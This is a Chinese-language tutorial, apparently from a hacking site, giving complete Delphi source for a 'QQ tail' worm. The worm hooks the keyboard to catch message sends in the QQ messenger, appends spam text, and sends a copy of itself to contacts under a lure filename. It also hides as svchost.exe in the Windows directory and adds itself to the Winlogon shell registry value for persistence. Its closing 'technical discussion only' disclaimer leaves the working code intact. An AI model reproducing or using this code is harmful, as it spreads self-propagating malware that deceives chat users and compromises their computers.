第一步,截获QQ发送信息时的消息
我们要在QQ的发送消息后面加上自己的“尾巴”发送出去就必须要知道消息的发送时间,而我们一般使用QQ发送消息大多是用Ctrl+Enter或Alt+S来发送的。所以思路就是用键盘钩子截获“Ctrl+Enter或Alt+S”这两个消息,然后就可以做自己想做的事了。而不象网上很多的QQ尾巴实现过程使用的定时或随机发送,那样也就不能称之为“QQ尾巴”了。
至于钩子的基本应用我这里就不多说了,网上也有很多教程,大家可以自己看看,也不是很难的。
现在进入这部分的代码:
//-------------------钩子的回调函数----------------//
function KeyHookFunc(nCode:Integer;w_Param:WPARAM;l_Param:LPARAM):LRESULT;stdcall;
const VK_S=83; //Alt+S中的S的虚拟键码,在虚拟键码表上可以查看
var
bGetMsg:Boolean; //判断是否截获指定的消息
pk:PKBDLLHOOKSTRUCT; //键盘钩子的结构体
begin
bGetMsg:=False; //表示是否截获到所需的消息
if nCode=HC_ACTION then
begin
case w_Param of //要截获的消息标识符,包括KeyDown和KeyUp
WM_KEYDOWN, {MSDN中有详细说明}
WM_SYSKEYDOWN,
WM_KEYUP,
WM_SYSKEYUP:
begin
//将消息包含的数据装入pk
pk:=PKBDLLHOOKSTRUCT(l_Param);
// 进行按键过滤
bGetMsg :=(((pk^.vkCode = VK_S) and
((pk^.flags and LLKHF_ALTDOWN) <> 0)) or
//上面截获的是Alt+S
((pk^.vkCode = VK_RETURN) and
((GetKeyState(VK_CONTROL) and $8000) <> 0)));
//上面截获的是Ctrl+Enter
end;
end;
end;
if bGetMsg then
begin
SendText; //截获消息后向输入框里加上尾巴
sleep(2000);
SendSelf(''QQ聊天宝典,快看看啊.exe''); //发送自身
//这里先发送尾巴再发送自身,只是个演示,具体大家就自己发挥了
Result:=0; //将消息返回,尾巴就和别人输入的数据一起发送出去了
end
//如果没有截获指定消息就将向下传递
else Result:=CallNextHookEx(0,nCode,w_Param,l_Param);
end;//----------------------------end.
第二步,加上我们的“尾巴”并发送出去
上面就是钩子的回调函数,用低级键盘钩子可以截获QQ发送信息时的消息。我这里只截获了Alt+S和Ctrl+Enter这两个常用的快捷键,大家可以根据自己的需要进行修改。下面我们就该进入发送我们的“尾巴”的代码了。
//------------------发送消息的过程-------------------//
Procedure SendText;
var
mainhwnd:THandle; //聊天主窗体句柄
texhwnd:THandle; //输入框句柄
begin
mainhwnd:=0; //初始化为0
//查找当前的工作状态的窗体,#32770是窗口类
mainhwnd:=FindWindowEx(GetForegroundWindow,mainhwnd,''#32770'',nil);
if mainhwnd<>0 then
begin
//查找输入框的句柄
texhwnd:=FindWindowEx(mainhwnd,0,''AfxWnd42'',nil);
texhwnd:=FindWindowEx(texhwnd,0,''RICHEDIT'',nil);
//如果输入框里没有消息就取消发送
if SendMessage(texhwnd,WM_GETTEXTLENGTH,0,0)<1 then exit;
//取消输入框中文本的选中
SendMessage(texhwnd,EM_SetSel,-1,-1);
//向输入框中加入尾巴
SendMessage(texhwnd,EM_ReplaceSel,1,integer(pchar('' ''+''QQ尾巴测试!'')));
end;
end;//----------------------------end.
要向QQ的输入框发送信息就必须要清楚它的聊天窗体的结构,我们还是请出SPY++来分析一下吧。首先打开一个聊天窗体,打开SPY++,找到如图1所示的窗体。
screen.width-461) window.open(''../../..//Mon_0508/10_1765.jpg'');" src="http://sy0.img.it168.com/it168_default.png" onload="if(this.width>screen.width-460)this.width=screen.width-460;" border=0>
这个就是我们刚才打开的聊天窗体,展开后我们仔细分析一下。展开图见图2。
screen.width-461) window.open(''../../..//Mon_0508/10_1766.jpg'');" src="http://sy0.img.it168.com/it168_default.png" onload="if(this.width>screen.width-460)this.width=screen.width-460;" border=0>
我选择的那个RICHEDIT就是输入框了,是怎么找到的呢?很简单,先用SPY++的”Find”功能在打开的聊天界面上定位到输入框,然后记下输入框的句柄。再回到SPY++,使用”Find Window”功能将刚才找到句柄输入进去,点查找就可以了。SPY++会自动在窗体列表中为你定位到输入框。图2也就是我查找到的结果。
所以结构也就很清晰了,我们简化一下看看:
|----#32770 ------这个就是代码中的mainhwnd
|----RichEdit20A ------显示消息的窗体
|----AfxWnd42 -------这个是第一个texthwnd
| |----RICHEDIT ------我们要找的输入框了即texthwnd
这下很清楚了吧,因为我们截获消息的时候QQ的聊天窗体肯定是在工作状态的,虽然不一定是最前面的窗体。所以我们可以用GetForegroundWindow来确定第一个窗体。然后就用FindWindowEx按照顺序查找就可以了,找到后发送消息就实现了。但是在实际测试中发现用以前的SetText向输入框里写入数据的方法不能用了,在QQ2004上还是可以的。郁闷,哪位兄弟清楚的教教我,呵呵。我在这里告诉大家另外的一个方法来实现向输入框里写入数据:使用EM_ReplaceSel参数,这个参数就是将选中的文本替换成自己定义的文本,如果没有选中任何文本则将自定义的文本追加在文件尾部。例如:SendMessage(texhwnd,EM_ReplaceSel,1,integer(pchar('' ''+''QQ尾巴测试!'')));。使用这个参数的时候还有几个问题:一,如果在正常发送信息的时候选中了一些文本,则那些文本将会被替换掉,这个问题我们可以在使用EM_ReplaceSel参数写入信息之前先使用EM_SetSel参数将选中的文本设置为没有选中任何文本就可以了。例如:SendMessage(texhwnd,EM_SetSel,-1,-1);二,用这个方法发送信息的时候我们可以发现如果输入框中之前没有输入任何信息,但是还是可以发送我们的“尾巴“的。这是因为这时候我们的EM_ReplaceSel参数会将尾巴追加到文本的尾部,即使文本为空。所以我在这之前用WM_GETTEXTLENGTH判断了输入框中有没有输入数据,如果没有就停止发送。具体的函数说明请看MSDN。
这段代码是以QQ2005为基础写的,和以前的QQ版本可能会有一些不同,不过思路是一样的,相信大家都已经会分析了。消息已经可以发送了,下面就该去实现它的传播功能了,也就是发送自身。
第三步,截获QQ发送信息时的消息
话不多说,代码开始:
Code:
//-----------------发送自身的过程------------------//
Procedure SendSelf(FileName:string);
var
TargetHwnd:THandle;
FileSize:Cardinal;
DropFiles:^TDropFiles;
MemHwnd:THandle;
//MsgHwnd:THandle;
SendFileName:string;
TempDir:array[0..255] of Char;//定义临时目录
SendChar:PChar;
begin
GetTempPath(255,@TempDir); //获取临时目录的位置
//将自身复制到临时目录,等发送时使用
SendFileName:=TempDir+FileName; //发送时的文件名
CopyFile(PChar(GetModuleName(0)), //GetModuleName(0)是自身路径
PChar(SendFileName),False);
//目标窗口句柄
TargetHwnd:=FindWindowEx(GetForegroundWindow,0,''#32770'',nil);
if TargetHwnd>0 then
begin
//保证文件存在
if FileExists(SendFileName) then
begin
FileSize:=0; //初始化文件长度为0
//将文件路径的长度+1赋给FileSize
Inc(FileSize,Length(SendFileName)+1);
//再将文件长度加上SizeOf(TDropFiles)
Inc(FileSize,1+SizeOf(TDropFiles));
//分配内存
MemHwnd:=GlobalAlloc(GMEM_ZEROINIT,FileSize);
DropFiles:=GlobalLock(Memhwnd);
//填充结构
with DropFiles^ do
begin
pFiles:=SizeOf(TDropFiles);
pt:=Point(0,0);
fNC:=False;
fWide:=False;
end;
SendChar:=Pointer(DropFiles);
Inc(SendChar,SizeOf(TDropFiles));
StrPCopy(SendChar,PChar(SendFileName));
Inc(SendChar,Length(SendFileName)+1);
SendChar^:= #0;
GlobalUnlock(MemHwnd);
//发送WM_DROPFILES消息
PostMessage(TargetHwnd,WM_DROPFILES,MemHwnd,0);
{//下面是找到"对方不在线"的对话框并点击"否"
MsgHwnd:=FindWindowEx(0,0,''#32770'',''对方不在线'');
if MsgHwnd>0 then
begin
MsgHwnd:=FindWindowEx(MsgHwnd,0,''Button'',''否(&N)'');
SendMessage(MsgHwnd,BM_CLICK,0,0);
end;}
end;
end;
end;//----------------------------end.
仍然先分析一下窗体结构:
|----#32770 ------这个就是代码中的TargetHwnd,即我们的目标窗体
|----RichEdit20A ------显示消息的窗体
|----AfxWnd42 -------这个是第一个texthwnd
| |----RICHEDIT ------我们要找的输入框了
在我测试的时候发现向输入框和消息的显示窗口中拖拽文件没有反应,只有向TargetHwnd中拖拽才可以,不知道为什么。最后一段注释掉的代码是为了防止当对方不在线的时候发送文件出现“对方不在线,是否用QQ邮箱发送?“的提示消息时点击”否“而写的。不过在正常聊天的时候即使对方没有上线,发送文件也是可以的,所以我觉得这段代码不是很有用,而且解决的方法也很笨。这个问题就留给大家讨论吧。
第四步,组装正式开始
到这里为止我们的QQ尾巴已经可以发送消息和自身了,为了专业一点我也简单的把它隐藏一下,并写入注册表让它随系统启动。我的方法比较懒了,当程序运行的时候检查一下是否应该将程序拷贝到自己定义的位置隐藏起来并写入注册表,我定义的位置是windows目录下的svchost.exe。如果指定位置没有就复制。下面的函数就来实现这个功能。
//-------------------检测函数-------------------//
Procedure CheckSelf;
var
ShouldPath:String; //第一次运行后应该隐藏到的路径
begin
ShouldPath:=PChar(GetWinDir())+''\svchost.exe'';
//如果文件不存在就复制过去,然后加入注册表
if GetModuleName(0)<>ShouldPath then
begin
CopyFile(PChar(GetModuleName(0)),PChar(ShouldPath),False);
AutoRun(ShouldPath);
end;
end;//----------------------------end.
写入注册表:
//-------------------加入系统启动-------------------//
Procedure AutoRun(FilePath:string);
var
MyKey:string;
MyReg:TRegIniFile;
begin
MyKey:='''';
MyReg:=TRegIniFile.Create('''');
MyReg.RootKey:=HKEY_LOCAL_MACHINE;
{我写入的位置是\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
下的shell项中,加在explorer.exe的后面,和explorer.exe之间有一个空格,
这样在系统启动时我们的程序会和explorer.exe一起启动}
MyReg.WriteString(''\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon''+MyKey+#0,
''shell'',
''explorer.exe ''+FilePath);
MyReg.CloseKey;
MyReg.Free;
end;//----------------------------end.
这两段代码非常简单,大家看看注释就可以了,没有多说的必要。
//-------------------一些声明信息-------------------//
program QQTail;
uses
Windows,SysUtils,Messages,Registry,ShlObj,Types,Classes;
const
LLKHF_ALTDOWN =KF_ALTDOWN shr 8;
WH_KEYBOARD_LL=13; //钩子种类,表示是低级键盘钩子
type
PKBDLLHOOKSTRUCT=^KBDLLHOOKSTRUCT;
{这个结构包含了一个低级键盘钩子的输入事件,
可以捕获键盘输入,具体查看MSDN}
KBDLLHOOKSTRUCT=record
vkCode:DWORD; //虚拟键码
scanCode:DWORD; //扫描码
flags:DWORD; //标志
time:DWORD;
dwExtraInfo:DWORD; //一些附加信息
end; //----------------------------end.
这里是程序开始的地方,最好放在代码的最后,这样就省去了前面函数的声明
//-------------------程序入口-------------------//
var
Msg:TMsg;
KeyHook:HHook;
hMutex:HWND;
iRet:integer;
Resourcestring
FMutex=''Mutex_SirusQQTail'';
begin
//检测是否已经有程序在运行了,如有就退出
hMutex:=CreateMutex(nil,False,PChar(FMutex)); //建立互斥
iRet:=GetLastError;
if iRet=ERROR_ALREADY_EXISTS then
begin
ReleaseMutex(hMutex);
exit; //检测到冲突就退出程序
end;
CheckSelf; //自身及注册表检测函数
//下钩子
KeyHook:=SetWindowsHookEx(WH_KEYBOARD_LL,
@KeyHookFunc,
HInstance,0);
if KeyHook=0 then exit; //如果失败就退出
//消息循环了,没什么可说的
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.//----------------------------end.
第五步,总结一下吧
screen.width-461) window.open(''../../..//Mon_0508/10_1767.jpg'');" src="http://sy0.img.it168.com/it168_default.png" onload="if(this.width>screen.width-460)this.width=screen.width-460;" border=0>
好了,一个QQ尾巴就这样打造出来了,编译一下试试吧,感觉怎么样,应该还不错吧。
已经有个不错的雏形了,至于去完善它我觉得没有什么必要了,关键技术明白了就可以了。
写这样的东西其实没有什么意思的,我们只做技术讨论,希望不要用来做一些无聊的事情。
代码写的很垃圾,大家见笑了,呵呵。。。
程序在Win2003+Delphi7下测试通过。欢迎赐教http://www.hack58.net/Article/60/64/2005/3996.htm